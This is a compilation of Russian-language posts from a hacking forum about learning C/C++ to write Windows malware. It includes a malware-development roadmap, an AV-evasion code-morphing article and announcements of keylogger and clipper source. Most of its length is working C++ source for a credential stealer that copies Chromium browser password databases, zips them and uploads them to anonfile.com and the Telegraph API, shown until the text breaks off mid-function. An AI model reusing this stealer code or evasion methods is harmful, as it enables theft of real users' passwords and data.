Вроде такой темы нет на форуме, начну.
Пробую переходить на Си, и постоянно случается какой-то фейл. Вроде бы должно
быть проще, а на деле - все сложнее. Например, в каком файле объявлен прототип
функции GetFileSizeEx ? Пробовал
Code:Copy to clipboard
#include <windows.h>
#include <Winbase.h>
#include <FileAPI.h>
Толку 0, пишет на все
undefined reference to `GetFileSizeEx'
Click to expand...
Я знаю, что можно вызвать через loadlibrary/getprocaddres, но это костыль, как сделать напрямую? Или в С это не объявлено, или у меня просто старый компилятор? Пробовал codeblocks(mingw) и visual studio 6.
p.s. в Масм, как не странно, все нормально.
Эта мини-статья является развернутым описанием моего старого поста https://xss.is/threads/34442/post-204920Ничего особо нового тут не будет, просто решил выделить отдельной темой и дооформить.
Итак, по каким-то причинам вы решили изучить , как же все таки пишут эту
малварь под винду. Причины, по которым тема может заинтересовать человека,
весьма разные, и не обязательно деструктивные - кто-то хочет стать ~~петухом~~
авером/вайтхетом, кому-то просто интересно, как оно устроено. В общем, причин
много, и это все лирика. Конечно, в инете есть множество статей вида "пишем
ботнет на петоне" и тому подобное школотворчество, и наверняка многие их
читали - но толку с таких мануалов весьма немного. Их авторы (зачастую полные
нубы) не дают никакого понимания базы, основ, а попросту пишут инструкцию из
серии сделай говно на палке из говна и палки, зарабатывая плюсики. Конечно,
кому-то и этого достаточно, а кому нет, то читайте дальше.
Основной тезис, который нужно усвоить: малварь - это обычная программа ,
выполняющая те или иные действия. Соответственно, вы должны просто научиться
программировать под конкретную платформу. Поскольку большинство интересует
именно Windows, то рассмотрим именно эту ОС (да и я ничего, кроме винды, и не
знаю).
0х0
Итак, начнем. В школе сначала учатся читать и писать, а потом уже переходят к
другим дисциплинам, в случае же нашей темы - вы должны уметь пользоваться
Windows , на уровне уверенного пользователя / начинающего сисадмина. Понятно,
что если вы читаете эту статью, значит какие-то навыки работы с компьютером у
вас есть. Но соц.сети и ютуб это не то, что нужно. Вы должны уметь
пользоваться командной строкой Windows (cmd.exe) , "путешествовать" по
файловой системе, иметь базовые понятия о .bat файлах, переменной %PATH%
(знать что это, уметь добавить/удалить туда значения). Нужно разобраться и
настроить виртуальную машину, т.к. во-первых, подобный софт может убить
основную ОС, а во-вторых , малварь придется проверять на разных выпусках и
версиях винды. Конкретную литературу к этому пункту не могу посоветовать, т.к.
у всех разный уровень знаний.
Теория:
Практика:
0х1
Далее, нужно определится с языком программирования, т.е. на чем все это дело
будет создаваться. Если вкратце, то учить надо язык Си. Если подробнее -
язык программирования должен быть нативным (т.е. никаких фреймворков и прочее)
и компилируемым (не скрипты). На эту тему можно много холиварить, почему так ,
а почему не учить петон, а вот на шарпе... Я уже говорил много раз, как первый
язык нужно то, где нет ничего лишнего вида неотключаемых библиотек,
фреймворков, сборщиков мусора. Именно чистый код. Изучите это - можете потом
писать на чем угодно, но начинать учиться нужно именно с такого языка.
Языков много, но в принципе, выбирать можно между Си и Паскалем. Почему не
Ассемблер? С него очень тяжело начинать, я знаю это по своему опыту. Изучая
Ассемблер в качестве первого языка , вы будете вынуждены учить и сам Асм, и
основы программирования, и WinApi (поскольку в Асма нет никакой стандартной
библиотеки). Т.е. чтобы вывести строку на экран или там записать в файл, вам
надо будет параллельно изучить чудесный мир Windows API, с миллионом
параметров и тысячей типов данных , да еще и ~~ксорить дворды~~ конвертировать
это в Асм-код. В то время как Си или Паскаль на этом этапе позволят
"схалявить" и использовать простые функции. Почему не С++ ? Потому что в нем
нет никаких преимуществ перед чистым Си в контексте нужной нам задачи, а учить
ООП и новые стандарты с 0 - нереально (и бессмысленно). Настоящие плюсы - это
фабрики, шаблоны, итераторы, умные указатели , буст и т.д. и т.п, а не "Си с
классами" образца 94 года , как видят С++ многие. Со временем, возможно, вы
захотите перейти на плюсы, но не сейчас. Есть еще freebasic и прочая экзотика,
но эти языки менее популярны, и в случае чего (нет инклуда, какая-то ошибка)
не у кого будет спросить. Вначале обучения это очень важно, когда есть ошибка,
которая не гуглится и спросить особо не у кого. Поэтому - либо Си, либо
Паскаль. С чего бы не начали, правда, надо учесть, что знание Си (на уровне
чтения сорцев) все равно будет нужно , т.к. все эти MSDN и книги содержат
примеры именно на этом языке. В данной заметке я тоже буду ориентироваться на
Си, поэтому изучайте Си. Касаемо паскаля - если у кого есть на примете хорошая
книга для начинающих (и мысли на эту тему) , пишите здесь. Я могу вспомнить
только Столярова https://xss.is/threads/28946/ , но и у него паскаль идет
сугубо как подготовка к Си-кодингу.
Теория:
Практика:
0х2
Изучив базовые основы языка Си, можно двигаться дальше , а именно - приступить
к изучению WinApi. Основная разработка в ОС Windows идет с помощью Win32 Api -
это , так сказать, самый низкий (из документированных Майкрософтом) уровень
для разработки под винду в юзермоде. Еще есть Native Api и даже прямой вызов
сисколов, но пока этого всего не надо. Вам нужно усвоить базовую информацию по
разработке под Windows - что такое поток, процесс, служба, как разрабатываются
многопоточные приложения и т.д. Параллельно нужно совершенствовать знания
языка Си, а именно - изучить базовые алгоритмы. С некоторыми из них вы должны
были уже встречаться ранее. Знание алгоритмов нужно, чтобы быть именно
нормальным программистом, а не "быдлокодером". Также некоторые системные
структуры (да и просто чужие сорцы) могут использовать все эти хэш таблицы,
двусвязные списки, и подобное. Конечно, в любом языке программирования давно
существуют стандартные библиотечные средства для такого. Но - вам нужно
понимать, как все это дело устроено на низком уровне, а уж потом юзать
готовое. Вообще, в процессе обучения нужно делать свои "велосипеды", чем
больше тем лучше.
Теория:
Практика:
0х3
Вы уже прошли основы WinApi, более-менее уверенного владеете языком Си, пришла
пора полностью погрузится в программирование под Windows. Изучить различные
системные механизмы, подробнее ознакомится с процессами, межпроцессным
взаимодействием, созданием сервисов, устройством памяти винды, динамические
библиотеки и прочая и прочая - в общем, изучить все кирпичики, из которых
состоит разработка под Windows. Здесь можно учить все подряд, а можно выбирать
только некоторые темы, скажем пропустить службы или там безопасность винды.
Советую читать все подряд, т.к. лишних знаний не бывает.
Теория:
Практика:
0х4
В книге Рихтера из предыдущего этапа в конце обучения вы столкнулись с
понятием инжекта в процесс, перехватом апи функций и подобными темами. Пришло
время изучить это все дело подробнее. Нужно учиться изучать программы без
исходных кодов, дебажить их, реверсить , понимать логику чужой программы и
искать ошибки в своей в боевых условиях. Студийный отладчик помогал все это
время в обучении. Но для чужих программ такой халявы не будет, т.к. у вас нет
исходных кодов , а только Асм листинг. Чем дебажить? Можно взять как старую
OllyDBG (только 32 бита), так и более новый x64dbg, и разбираться. Сначала
трейсить пошагово свои же программы, параллельно читая справочник по
Ассемблеру. Книжек по последнему есть великое множество, но не все оттуда
нужно в данном случае - Асм достаточно понимать, а не писать на нем (тем более
под dos, как учит 80% авторов). Знания Ассемблера пригодятся и дальше, для
вызова сисколов, сокрытия/перехвата вызовов винапи, разработки шеллкодов и так
далее.
Теория:
Практика:
0хFF
Вот таков примерный курс, изучив который вы сможете уверенно начать
разрабатывать простую малварь. Почему простую? Потому что, увы, несмотря на
большой объем инфы, многие вещи все равно еще остались за кадром. К примеру,
РЕ формат , секьюрити винды, технология СОМ, драйвера (не обязательно учиться
писать малварь под ядро, но понимать как там что устроено, весьма желательно),
криптография, сеть, NTFS , графика винды (огромная тема, все эти GDI+,
win32k.sys) и т.д. и т.п. Но это все дело поправимое, было бы желание учится.
Имея базу, можно со всем постепенно разобраться.
Дальнейшее чтение:
Дальнейшая практика:
И постоянно учитесь, ведь знание это Сила и главный капитал!
Примечания.
Николай Секунов
Самоучитель Visual C++ .Net
736 стр. - 9,25Мб
Я вроде изучаю тихо C# и все понятно, но вот гуглил, смотрел видосы и все равно не понимаю что такое { get; set; } може кто то найдется кто расскажет мне понятным мне языком. Понял только что можно обьявить ими доступ в приват класы или не так понял?
Ребят, всем привет. Вкатываюсь в C+ по Столярову. Пока на паскале)) так что если вдруг есть такие же, как я, велком. Будем помогать друг другу, чуть что в этой теме. А если вдруг вы старожила, велком, поделитесь советами, если не жалко!
Всем вечер добрый.
Судя по обилию тем с заголовками вида: "На чем написать вирус для взлома
пентагона или жирного буржуйского банка ?" и "я начинающий мамкин хацкер,
подскажите курс по плюсам, хочу свой шкафчик". Оно, конечно, понятно, все мы
когда-то были слепыми котятами и искали того, кто сможет внятно объяснить
простым языком сложные вещи. Однако, опять же, по моим наблюдениям, в 90%
случаев эти люди на форуме больше не задают вопросов по выбранному языку.
Причин может быть множество, но как мне кажется, большинство тупо забило,
заблудившись среди миллионов курсов от мамкиных блохеров. Никого не хочу
обидеть, ни в коем случае - я про блохеров.
Меня давно не покидает идея о создании собственного курса по плюсам - таки да,
мне тоже не дает покоя слава мамкиных блохеров. А если серьезно, то вроде бы
знания и опыт позволяют замахнуться на Вильяма нашего Шекспира.
Однако не хочется делать банальный курс, с описанием элементарных вещей, но
душа требует размаха. Я предлагаю определиться с направлением, наиболее
актуальным для С++ и начать разрабатывать проект, который будет полезен всем.
Проект будет сопровождаться серией статей, включающих как теорию, без которой
никуда, так и практику, дабы совместить приятное с полезным.
поэтому я предлагаю всем желающим подключиться к обсуждению, а может и к
участию в проекте, основной целью которого является передача опыта
подрастающему поколению и пополнение рядов секты свидетелей С++. Ну и польза
для форума, как мне кажется, очевидна.
напишу криптолокер и дропну сюда что получится
Подскажите можно ли начать изучать СИ, если знание программирования вообще 0!
Привет бандиты!
Я почитал конкурсный топик и похоже просек рецепт идеальной статьи:
- Минимум теории, максимум практики
- Пиши про морфинг кода, это больная тема у всех
- Не выдавай рабочий софт, выдавай концепт
Оно и понятно. Сейчас у большинства серьезных ребят своя приватная малварь (есть доступ к сорцам) + как я понял крипт на уровне бинарников уже не торт.
Ну хуль, морфим значит морфим. Погнали.
Что морфим
- Числа
- Строки
- Функции
Числа
Начнем с простого - числа. Тут все просто, как дважды два. Есть глобальная
мысль и есть 1001 метод.
Глобальная мысль: вычисляем нужное число, но так, чтобы наши операции не оптимизировал компилятор и чтобы вычислить можно было большим количеством способов.
Короче, идея супер простая - мы своим человеческим мозгом приходим к
алгоритму, который даст нам фиксированное число. А из этого числа мы уже
получим все остальные нужные нам числа.
Легко же получить 5, если у тебя уже есть в программе 3?
Конечно, 3 + 2 = 5, да?
А фиг там, оптимизация. И на месте твоего выражения уже сияет цифра 5, а твой
софт на динчеке горит аки новогодняя елка.
Что делать? Придумать вычисления, которые компилятор не умеет оптимизировать. Например, с рандомом.
Метод 1:
Получаем число 3 или 9 из любого числа на входе.
Довольно забавная магия, следи за руками:
Как это работает? Вспоминаем школу, признак деления на 3 и 9 - если сумма цифр
делится, то и число делится. А также сумма любых трех подряд идущих чисел
делится на 3 (ну или 9, если повезет).
Совмещаем эти два простых факта и получаем 3 или 9 из абсолютно любого числа
на входе.
Как получить из 3 или 9 любое другое число думаю объяснять излишне.
Метод 2:
Играем с остатками.
Как вы уже поняли, суть в том, чтобы не дать компилятору вычислить результат до старта программы, потому что входные данные неизвестны. А понять логику и упростить он не может.
Давай на пункте 4 остановимся поподробнее. Что это значит?
А это значит, что можно любое число представить вот так:
Code:Copy to clipboard
38 = x*((15 + 13 + 10)//x) + (12 + 16 + 10)%x
= x*(15//x + 13//x + 10//x) + 12%x + 16%x + 10%x
где x - любое случайное число.
Круто, правда? Получаем в рантайме абсолютно левое число и серией
неоптимизируемых операций всегда получаем нужное.
Кстати про левое число, пара методов:
И так далее, бесконечное количество информации, которую мы можем взять и преобразовать в рантайме в нужную нам.
Да, детка, гений господствует над хаосом.
Строки
На строках я не буду так подробно останавливаться, потому что если поняли с
числами - допрете и до строк.
Лайфхаки :
Я думаю со строками все понятно, поэтому перейдем к самому соку - функциям.
Функции
Ну блин, вы же не думали, что я просто по фану писал предыдущую статью про
Функциональное программирование?
Суть вот в чем... Да фиг с ней с сутью, практика-практика!
Сразу покажу пример, а потом уже все объясню.
Code:Copy to clipboard
int max(int num1, int num2) {
// local variable declaration
int result;
if (num1 > num2)
result = num1;
else
result = num2;
return result;
}
Code:Copy to clipboard
function<int (int) (int)> max = [] (int num1, int num2) -> int {
int result;
if (num1 > num2)
result = num2;
else
result = num1;
return result;
}
Code:Copy to clipboard
function<function<int (int)> (int)> max =
[] (int num1) -> function<int (int)> {
return [num1] (int num2) -> int {
int result;
if (num1 > num2)
result = num2;
else
result = num1;
return result;
}
}
Ну а теперь теория. Нафиг надо все это делать?
Это достаточно сложно понять и еще сложнее объяснить, но я попытаюсь.
В примере мы сделали вот что:
Идея для морфинга функций:
Таким образом мы получаем бесконечное количество вариантов flow нашего софта (потому что мы движемся не сверху вниз по коду, как в императивном программировании, а по функциям-коллбэкам, как в ФП), и функционал при этом остается тот же. Более того, на каждом из этапов движения мы можем втыкать абсолютно любой код, который использует наши трэш-аргументы.
Я надеюсь никто не обиделся, что я расписал все на примере C++.
То же самое можно сделать и в шарпе, и в делфях, и практически в любом другом
языке.
Я очень хотел приложить PoC рабочего морфера, а еще очень хотел написать про макросы и препроцессор, но как обычно отложил все на последний день, а до 1 марта остается всего несколько часов.
Короче, итоговые мысли :
Спасибо Администрации XSS и Unknown за конкурс - я на площадке недавно, но мне
уже нравится.
Буду рад вопросам в комментариях.
Буду еще больше рад поработать с командой REvil
В общем пишу стиллер для лисы, свою реализацию декрипта писать лень, поэтому
решил юзать дллки от х32 лисы. Взял freebl3.dll, mozglue.dll, msvcp140.dll,
nss3.dll, softokn3.dll, vcruntime140.dll, закинул в одну папку.
Пытаюсь загрузить nss3.dll:
C:Copy to clipboard
HMODULE hNss = LoadLibraryW(L"dlls\\nss3.dll");
if (!hNss)
{
DWORD err = GetLastError();
return false;
}
В GetLastError ловлю ошибку 126 (ERROR_MOD_NOT_FOUND). Собственно, что не так? Забыл ещё какие-то зависимости?
Помогите разобраться новичку, с чего надо начинать изучение С++? И какое чтиво
для этого нужно? И какой компилятор лучше использовать(желательно дать ссылку
на компилятор).
Огромное спаибо.
Исходя из сложности взлома и наличия или отсутствия деобфускаторов и анпакеров, возник вопрос: какая защита более надежна для
- С++
- С#
Ребята из OSR решили продолжить выкладывать свой бумажный журнал в электронном виде.
January—February 2011 Digital Edition Volume 18 Issue 1
Содержание номера:
The Wonderful World of Software Drivers
Про типы софтварных драйверов
Bash Those Bugs! The WDK Community Bug Bash Rolls Along
Конкурс по поиску багов в WDK
Peter Pontificates: Pods of Fun
Какие-то предсказания =)
Getting Away From It All— The Isolation Driver (Part II)
Вторая часть статьи про модель драйвера-фильтра FS, блокирующего запросы
Let the Race Begin—Debugging Race Conditions
Отладка race conditions
Analyst’s Perspective: Analyzing User Mode State from a Kernel Connection
Анализ юзермода из ядра с помощью WinDBG
Go Blue!
Немного про usb 3.0 =)
Старый номер - Скачать|Download
ИспользованиеCRT(C Runtime Library) раздувает выходной EXE файл и добавляет в таблицу импорта(далее IAT) "левые" функции.Сегодня мы "вырежем" CRT и сделаем EXE-шник весом в 1.5 кб у которого полностью будет отсутствовать IAT.
Для начала рассмотрим основные минусы отказа от CRT:
-Невозможность использования стандартных обработчиков ошибок(try / catch)
-Невозможность использования функций C.
Окей, все действия я буду проводить на VS 2019, однако их можно повторить практически на всех VS.
Шаг 1.Отключаем CRT:
Создадим пустой C++ проект и добавим в него файл исходного кода C/C++, пока что не будем его трогать.
Теперь идем в свойства проекта и выставляем следующее:
Компоновщик -> Ввод -> Игнорировать все стандартные библиотеки -> Да
(/NODEFAULTLIB)
C/C++ -> Общие -> Проверки SDL -> Нет(/sdl-)
C/C++ -> Создание кода -> Отключить проверку безопасности -> Да(/GS-)
C/C++ -> Создание кода ->Включить C++ Исключения -> Нет
C/C++ -> Создание кода -> Основные проверки времени выполнения -> По
умолчанию
Теперь нам необходимо задать кастомную точку входа.Для этого перейдем в
Компоновщик -> Дополнительно -> Точка входа .Название точки входа может быть
любым.Главное ее обозначить.У меня это будет Entry.
#include <Windows.h> VOID WINAPI Entry(VOID) { //... }
Также можно отключить создание манифеста.Это необязательный шаг, но он позволит сбросить целых 1.5 кб ?
Компоновщик -> Файл манифеста -> Создавать манифест -> **Нет(/MANIFEST:NO)
Шаг 2.Включаем оптимизацию(желательно делать на сборке Release):**
C/C++ -> Оптимизация -> Максимальная оптимизация (приоритет размера) (/O1)
C/C++ -> Оптимизация -> Предпочитать размер или скорость -> Предпочитать
краткость кода (/Os)
Теперь скомпилируем наш проект(x86, Release).Результат:
Размер файла 1.5 кб:
DiE определяет нашу программу как написанную на MASM-е :
Таблицы импорта нету вообще:
Но и это еще не все!
Шаг 3.Кастомный DOS Stub:
В PE файле есть такой заголовок как Dos Stub.Он представляет из себя небольшую DOS программу, которая будет запущена, если кто-то попытается запустить нашу программу на MS-DOS.Мы заменим эту DOS программу на другую, более легкую.
Перейдем в Компоновщик -> Командная строка.И введем туда: /stub:custom_dos_stub.bin(предварительно положив custom_dos_stub.bin в папку с проектом)
Собственна все.Теперь DiE не определяет компилятор
Привет, я интересуюсь пентестом и писанием малвари. На данный момент изучаю скриптовый язык Python (также присматриваюсь к Golang, но не хочется бросать змейку на пол пути) по книги A byte of Python для маленького софта, вроде как легко даётся. В планах учить С/С++ для вирмейкинга. Хочу узнать как и где учить, может знаете какие-ниюбудь книги, сайты, курсы, хочу выдвигаться в обеих сферах. И желательно что-то актуальное, постоянно натыкаюсь на какой- нибудь хлам который попросту убивает моё время, а врменеи у меня не так уж и много. Также буду рад совету по типу: Сначала учи Си , потом плюсы (читал где- то подобную статью). Знаю таких глупых вопросов сотни, а то и тысячи, но в большинстве своём они устаревшие, либо не конкретные ответы. Надеюсь на вашу помощь.
Всем привет, вот выкладываю исходники кейлогера на с++Борланд
Плюсы:
его больше негде нет=)
не палиться в процессах
логи шлет на мыло
не палиться антивирями, фаерволлами вроде тоже
очень успешно варует пассы от lineage (обходит защиту)
шлет пассы от инета и MAC адресс
Минусы:
250кб (без урезания, архивирования)
необходима разная доработка (урезание лог например)
плохая реализация взятия MAC адресса (неправильная)
В дальнейшем собираюсь
набрать пару с++кодеров для доведения его до ума
написать к нему билдер
добавить функций
и вот думаю шифрование логов
и MAC адресса научим правильно брать=)
И после зделать ещё гейт
Компилируйте, отписывайтесь...
П.С. надеюсь кто-нибудь поможет по продолжению его написания...
П.С2 пожалуйста не палите контору=)
Если что думаю там сами разберетесь...=)
Если что спрашивайте
Выкладываю исходный код клиппера, писался давненько на чистом си. За говнокод
не бейте :\
Кошельки указываются в файлике "common.h".
Все ненужные вам кошельки просто закомментите.
Как добавить подмену тех валлетов, которых нет сейчас:
В общем-то на этом всё.
Пароль:
You must have at least 20 reaction(s) to view the content.
Предупреждение
**Автор не кодер, вообще в этом ничего не понимает, и вообще статья была
написана исключительно в ознакомительных целях.
P.S. Сама идея была нагло украдена, но материал/код полностью авторский.
P.S.S СТАТЬЯ ДЛЯ КОНКУРСА.
Введение**
**Хэй, сегодня поговорим, что такое стиллер и даже напишем демоверсию, панель будет написана во второй части (если наберем много лайков xD). Что такое стиллер?
Стиллер — определенный класс троянов (малвари, вирусов — как хотите), функционал которых полностью состоит из кражи сохраненных в системе паролей, прочей информации и отправке их создателю. Стиллер, пользуясь наивностью ~~чукотских~~ программистов, исследует хранилища часто используемых программ и нагло тырит оттуда все логины, пароли и т.п. Следующий, он же последний этап работы программ данного класса — отправка вкусняшек злоумышленнику. Вот как-то так всё это и работает. **
****
Писать мы будем на C++ (~~ХАРДКОР~~), но с использованием сторонних библиотек (например, libcurl), для того чтобы упростить задачу, вы можете переписать данную malware, используя исключительно WinApi, чтобы избавиться от лишних зависимостей. У нас будут реализованы только самые основные функции:
В чем “фишка” нашего стиллера
Обычно стиллер отправляет полученную информацию на почту, но это не очень практично/удобно, наш же стиллер будет отправлять все данные на сервер, но он не будет оформлен на~~вашу мать~~ вас. Мы будем юзать Telegraph, сервис для постинга статей (в основном, используется в Telegram). Таким образом мы немного повышаем свою анонимность. Панель будет обращаться к сервису через Tor, Proxy и т.д. У Telegraph’a есть свой собственный API, что существенно упрощает нам задачу.
Заголовочный файл с инклюдами
Здесь у нас подключаются все нужные нам библиотеки, пространства имен. Также здесь описываются следующие классы:
В первом классе указаны нужные нам значения, такие как:
Во втором же классе описаны методы, дающие нам пространство для маневром c кодировками (ASCII, Unicode)
C++:Copy to clipboard
#include <iostream>
#include <vector>
#include <fstream>
#include <string>
#include <zip.h>
#include <filesystem>
#include <Windows.h>
#include <curl/curl.h>
#include <json/json.h>
#include <gdiplus.h>
#include <intrin.h>
#include <comdef.h>
#include <libloaderapi.h>
#include <winsqlite/winsqlite3.h>
#include <ShlObj_core.h>
#include <Wbemidl.h>
#pragma comment(lib, "wbemuuid.lib")
#pragma comment(lib, "winsqlite3.lib")
#pragma comment(lib, "GdiPlus.lib")
#pragma comment(lib, "Crypt32.lib")
using namespace std;
using namespace Json;
using namespace filesystem;
#ifndef Config_HEADER
#define Config_HEADER
class Config
{
public:
//Working Directory
const string MainDirectory = "C:\\Users\\Public\\XSS_ONE_LOVE";
//Bat Directory
const string BatDirectory = "C:\\Users\\Public";
//Folder Name
const string FolderName = "XSS_ONE_LOVE";
//Password for archive
const string ArchivePassword = "XSS_ONE_LOVE";
//Telegraph Page
const string TelegraphPage = "https://telegra.ph/XSS";
//Telegraph Access Token
const string AccessToken = "XSS_ONE_LOVE";
};
#endif
#ifndef Converters_HEADER
#define Converters_HEADER
class Converters
{
public:
//String -> Wstring
static wstring StringToWString(const string& str)
{
int size_needed{ MultiByteToWideChar(CP_UTF8, 0, &str[0], (int)str.size(), NULL, 0) };
wstring wstrTo(size_needed, 0);
MultiByteToWideChar(CP_UTF8, 0, &str[0], (int)str.size(), &wstrTo[0], size_needed);
return wstrTo;
}
//Wstring -> String
static string WStringToString(const wstring& str)
{
const locale locale("");
typedef codecvt<wchar_t, char, mbstate_t> converter_type;
const converter_type& converter = use_facet<converter_type>(locale);
vector<char> to(str.length() * (size_t)converter.max_length());
mbstate_t state;
const wchar_t* from_next;
char* to_next;
const converter_type::result result = converter.out(state, str.data(), str.data() + str.length(), from_next, &to[0], &to[0] + to.size(), to_next);
return string(&to[0], to_next);
}
//WString -> Const Char*
static const char* WStringToCSTR(const wstring& str)
{
string temp{ Converters::WStringToString(str) };
return temp.c_str();
}
};
#endif
Заголовочный файл для работы с WEB
Здесь описан класс Web, он имеет следующие методы/переменные:
EditPage, для редактирования страницы Telegraph
GetPage, для получения содержимого страницы Telegraph
UploadFile, для загрузки файла на сайт ( "AnonFile")
GetHTML, для получения исходного кода страницы
Api, сайт API Telegraph 'a (он не заблокирован в России, так что проблем быть не должно)
C++:Copy to clipboard
#include "Includes.h"
class Web
{
public:
//EditPage
string EditPage(const string& AccessToken, const string& Path, const string& Title, const string& Name, string Content);
//GetPage
string GetPage(const string& Path);
//UploadFile
string UploadFile(const string& Filename);
//GetHTML
string GetHTML(const string& URL);
private:
//TelegraphAPI
const string Api = "https://api.telegra.ph/";
};
Файл с исходным кодом для работы с WEB
На этом моменте надо рассказать поподробнее про каждый метод:
WriteCallback, здесь нечего рассказывать, это обязательная функция для получения HTML в виде строки
EditPage:
Заменяем все « » на «+» (можно было сделать, используя библиотеку«** algorithm»)**
Формируем валидную ссылку для запроса на Telegraph
Парсим JSON, формируем ответ
GetPage:
UploadFile | Здесь кратко рассказать не получится, если вы хотите с этим разобраться, то я вам рекомендую прочесть документацию LibCurl
GetHTML |
C++:Copy to clipboard
#include "Web.h"
#pragma warning(disable:4996)
//CallbackFunction
size_t WriteCallback(void* Contents, size_t Size, size_t Nmemb, void* Userp)
{
((string*)Userp)->append((char*)Contents, Size * Nmemb);
return Size * Nmemb;
}
//EditPage
string Web::EditPage(const string& AccessToken, const string& Path, const string& Title, const string& Name, string Content)
{
try
{
for (auto& i : Content)
if (i == ' ')
i = '+';
string RequestUrl = Api + "editPage/" + Path.substr(Path.find_last_of('/') + 1) + "?access_token=" + AccessToken + "&title=" + Title + "&author_name=" + Name + "&content=[{\"tag\":\"p\",\"children\":[\"" + Content + "\"]}]&return_content=false", Html = GetHTML(RequestUrl);
Reader Read;
Value Json;
Read.parse(Html, Json);
if (Json["ok"].asString() == "true")
return "Okay!";
else
return "Wrong Data!";
}
catch (...)
{
return "Error, EditPage :(";
}
}
//GetPage
string Web::GetPage(const string& Path)
{
try
{
string RequestUrl = Api + "getPage/" + Path.substr(Path.find_last_of('/') + 1) + "?return_content=true", Html = GetHTML(RequestUrl);
Reader Read;
Value Json;
Read.parse(Html, Json);
return Json["result"]["description"].asString();
}
catch (...)
{
return "Error, GetPage :(";
}
}
//UploadFile
string Web::UploadFile(const string& Filename)
{
try
{
string Result;
CURLcode Ret;
CURL* Hnd;
curl_mime* Mime1;
curl_mimepart* Part1;
Mime1 = NULL;
Hnd = curl_easy_init();
curl_easy_setopt(Hnd, CURLOPT_BUFFERSIZE, 102400L);
curl_easy_setopt(Hnd, CURLOPT_URL, "https://anonfile.com/api/upload");
curl_easy_setopt(Hnd, CURLOPT_NOPROGRESS, 1L);
Mime1 = curl_mime_init(Hnd);
Part1 = curl_mime_addpart(Mime1);
curl_mime_filedata(Part1, Filename.c_str());
curl_mime_name(Part1, "file");
curl_easy_setopt(Hnd, CURLOPT_MIMEPOST, Mime1);
curl_easy_setopt(Hnd, CURLOPT_MAXREDIRS, 50L);
curl_easy_setopt(Hnd, CURLOPT_HTTP_VERSION, (long)CURL_HTTP_VERSION_2TLS);
curl_easy_setopt(Hnd, CURLOPT_HTTP09_ALLOWED, 1L);
curl_easy_setopt(Hnd, CURLOPT_WRITEFUNCTION, WriteCallback);
curl_easy_setopt(Hnd, CURLOPT_WRITEDATA, &Result);
curl_easy_setopt(Hnd, CURLOPT_TCP_KEEPALIVE, 1L);
Ret = curl_easy_perform(Hnd);
curl_easy_cleanup(Hnd);
Hnd = NULL;
curl_mime_free(Mime1);
Mime1 = NULL;
Reader Read;
Value Json;
Read.parse(Result, Json);
return Json["data"]["file"]["url"]["full"].asString();
}
catch (...)
{
return "Error, UploadFile :(";
}
}
//GetHTML
string Web::GetHTML(const string& URL)
{
try
{
string result;
CURLcode ret;
CURL* hnd;
hnd = curl_easy_init();
curl_easy_setopt(hnd, CURLOPT_BUFFERSIZE, 102400L);
curl_easy_setopt(hnd, CURLOPT_URL, URL.c_str());
curl_easy_setopt(hnd, CURLOPT_MAXREDIRS, 50L);
curl_easy_setopt(hnd, CURLOPT_HTTP_VERSION, (long)CURL_HTTP_VERSION_2TLS);
curl_easy_setopt(hnd, CURLOPT_HTTP09_ALLOWED, 1L);
curl_easy_setopt(hnd, CURLOPT_WRITEFUNCTION, WriteCallback);
curl_easy_setopt(hnd, CURLOPT_WRITEDATA, &result);
curl_easy_setopt(hnd, CURLOPT_TCP_KEEPALIVE, 1L);
ret = curl_easy_perform(hnd);
curl_easy_cleanup(hnd);
hnd = NULL;
return result;
}
catch (...)
{
return "Error, HTML :(";
}
}
Заголовочный файл для работы с архивами
Здесь у нас создается объект класса Config, класс Zipper. В этом классе мы проходимся по каждому файлу в нашей директории и добавляем его в наш архив (попутно удаляя), также мы используем шифрование (AES-256) с ключом из конфига.
C++:Copy to clipboard
#include "Includes.h"
Config ZIP_Config;
class Zipper
{
public:
//ZIP
static void Pack()
{
int files = 0;
string FileName = ZIP_Config.MainDirectory + "\\Data.zip";
for (const auto& aut : directory_iterator(ZIP_Config.MainDirectory))
{
zip* archive = zip_open(FileName.c_str(), ZIP_CREATE, nullptr);
zip_source* source = zip_source_file(archive, aut.path().string().c_str(), 0, 0);
int index = (int)zip_file_add(archive, aut.path().filename().string().c_str(), source, ZIP_FL_OVERWRITE);
zip_file_set_encryption(archive, files, ZIP_EM_AES_256, ZIP_Config.ArchivePassword.c_str());
zip_close(archive);
DeleteFile(aut.path().wstring().c_str());
files++;
}
}
};
Заголовочный файл для«** выкачки» паролей из браузеров на основе
Chromium**
Тут у нас создается класс Chrome_Based_Browser, в котором мы имеем следующее:
C++:Copy to clipboard
#include "Includes.h"
#pragma warning(disable:4996)
class Chrome_Based_Browser
{
public:
//Save ChromeBased Passwords
static void Get_Chrome_Based_Passwords();
private:
//Save Passwords
static int Chrome_Based_Fill_Secret_File(char* url, char* username, unsigned char* password);
//Process Row DB
static int __stdcall Chrome_Based_Process_Row(void* passed_db, int argc, char** argv, char** col_name);
};
Файл с исходным кодомдля**«** выкачки****»**** паролей из браузеров на
основе Chromium****
Сейчас будет~~мясо~~ жарко. Дальше про создаваемые объекты класса говорить не буду... Во-первых, у нас тут имеется « region**»**** с нужными нам переменными:**
Следом у нас идет основной метод, эта функция осуществляет проход по каждому из браузеров, генерирует имя выходного файла, получает директорию, где находится нужная БД, копирует ее (чтобы избежать ошибки при работающем браузере), запускает нужную нам команду (SQL). Chrome_Based_Fill_Secret_File выгружает, дешифрует данные и передает их в функцию для сохранения данных в файл.
C++:Copy to clipboard
#include "Chrome_Based.h"
Config BrowserConfig;
#pragma region Variables
//Temporary DB Path
#define TEMP_DB_PATH "tmp"
//SQL Request
#define USER_DATA_QUERY "SELECT ORIGIN_URL,USERNAME_VALUE,PASSWORD_VALUE FROM LOGINS"
//Number Of Rows
#define ROW_ID_COUNT 100
//Starting Row
int row_id = 1;
//File
FILE* file_with_secrets;
//Name Of Browsers
vector<string> Chrome_Based_Browsers = { "Brave" };
//Browsers' Paths
vector<string> Paths_To_Chrome_Based_Browsers = { "\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Login Data" };
#pragma endregion
//Save ChromeBased Passwords
void Chrome_Based_Browser::Get_Chrome_Based_Passwords()
{
for (int temp = 0; temp < Chrome_Based_Browsers.size(); ++temp)
{
try
{
string Save_File = BrowserConfig.MainDirectory + '\\' + Chrome_Based_Browsers[temp] + "_Passwords.log";
TCHAR original_db_location[MAX_PATH];
sqlite3* logindata_database = { NULL };
char* err_msg = { NULL };
int result;
memset(original_db_location, 0, MAX_PATH);
